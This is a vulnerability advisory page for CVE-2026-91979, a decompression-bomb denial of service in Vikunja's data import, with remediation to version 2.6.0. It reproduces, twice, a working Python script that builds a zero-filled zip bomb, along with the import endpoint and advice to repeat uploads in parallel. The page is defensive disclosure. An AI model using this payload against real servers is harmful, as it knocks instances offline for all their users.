CVE-2026-91979: Vikunja Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-w7jp-mf2v-8342
CWE-409 CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-91979 is a HIGH denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Vikunja libraries in the Go ecosystem. The issue involves denial of service via decompression bomb in the data import. Remediation is available by upgrading affected packages to version 2.6.0.

CVE-2026-91979 at a Glance

CVE Identifier CVE-2026-91979
GHSA Identifier GHSA-w7jp-mf2v-8342
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product Vikunja
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-91979

To remediate this vulnerability, upgrade all affected Vikunja dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.6.0
Upgrade code.vikunja.io/api to 2.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-91979, inspect your project dependencies for Vikunja:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Vikunja in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Vikunja, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once. ### Details The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time. Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster. The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user. ### PoC The attacker needs an ordinary account that can use the import feature. 1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit). ```python #!/usr/bin/env python3 import argparse, json, os, zipfile CHUNK = b"\0" * (1024 * 1024) def build(out, n, size, version): tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]} for i in range(1, n + 1)] data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode() with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z: z.writestr("VERSION", version) z.writestr("data.json", data) for i in range(1, n + 1): with z.open(f"files/{i}", "w") as f: for _ in range(size): f.write(CHUNK) raw = n * size * 1024**2 print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB " f"({raw/1024**3:.1f} GiB uncompressed)") p = argparse.ArgumentParser() p.add_argument("-o", "--out", default="bomb.zip") p.add_argument("-n", "--files", type=int, default=200) p.add_argument("-s", "--size-mib", type=int, default=18) p.add_argument("--version", default="v2.5.0") a = p.parse_args() build(a.out, a.files, a.size_mib, a.version) ``` 3. Upload it to the import endpoint: ``` PUT /api/v1/migration/vikunja-file/migrate (multipart file upload: the crafted zip) ``` 4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably. (You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.) ### Impact Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.

CVE-2026-91979 Affected Vikunja Versions

1 component(s)
Fixed Versions:
2.6.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
< 2.6.0
2.6.0

References

Frequently Asked Questions

What is CVE-2026-91979?
CVE-2026-91979 is a security vulnerability in Vikunja involving Denial of service via decompression bomb in the data import under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which Vikunja versions are affected?
Affected versions include releases prior to 2.6.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-91979?
Upgrading to 2.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.6.0. Upgrade your dependency to 2.6.0 or later.
What CWE is associated with CVE-2026-91979?
CVE-2026-91979 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check Go dependencies for CVE-2026-91979?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w7jp-mf2v-8342",
  "modified" : "2026-10-09T20:52:52Z",
  "published" : "2026-10-09T20:52:52Z",
  "aliases" : [ "CVE-2026-91979" ],
  "summary" : "Vikunja: Denial of service via decompression bomb in the data import",
  "details" : "### Summary\nVikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.\n\n### Details\nThe import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.\n\nCompression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB)\n can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.\n\nThe fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.\n\n### PoC\nThe attacker needs an ordinary account that can use the import feature.\n\n1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).\n```python\n#!/usr/bin/env python3\nimport argparse, json, os, zipfile\n\nCHUNK = b\"\\0\" * (1024 * 1024)\n\ndef build(out, n, size, version):\n    tasks = [{\"title\": f\"t{i}\", \"attachments\": [{\"file\": {\"id\": i, \"name\": \"a\"}}]}\n             for i in range(1, n + 1)]\n    data = json.dumps([{\"title\": \"bomb\", \"tasks\": tasks, \"child_projects\": []}]).encode()\n\n    with zipfile.ZipFile(out, \"w\", zipfile.ZIP_DEFLATED, compresslevel=9) as z:\n        z.writestr(\"VERSION\", version)\n        z.writestr(\"data.json\", data)\n        for i in range(1, n + 1):\n            with z.open(f\"files/{i}\", \"w\") as f:\n                for _ in range(size):\n                    f.write(CHUNK)\n\n    raw = n * size * 1024**2\n    print(f\"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB \"\n          f\"({raw/1024**3:.1f} GiB uncompressed)\")\n\np = argparse.ArgumentParser()\np.add_argument(\"-o\", \"--out\", default=\"bomb.zip\")\np.add_argument(\"-n\", \"--files\", type=int, default=200)\np.add_argument(\"-s\", \"--size-mib\", type=int, default=18)\np.add_argument(\"--version\", default=\"v2.5.0\")\na = p.parse_args()\nbuild(a.out, a.files, a.size_mib, a.version)\n```\n3. Upload it to the import endpoint:\n```\nPUT /api/v1/migration/vikunja-file/migrate\n(multipart file upload: the crafted zip)\n```\n4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone.\nRepeat, or send several uploads at once, to reach the limit reliably.\n\n(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)\n\n### Impact\nDenial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w7jp-mf2v-8342"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-91979"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/3688"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-decompression-bomb"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-409", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:52:52Z",
    "nvd_published_at" : null
  }
}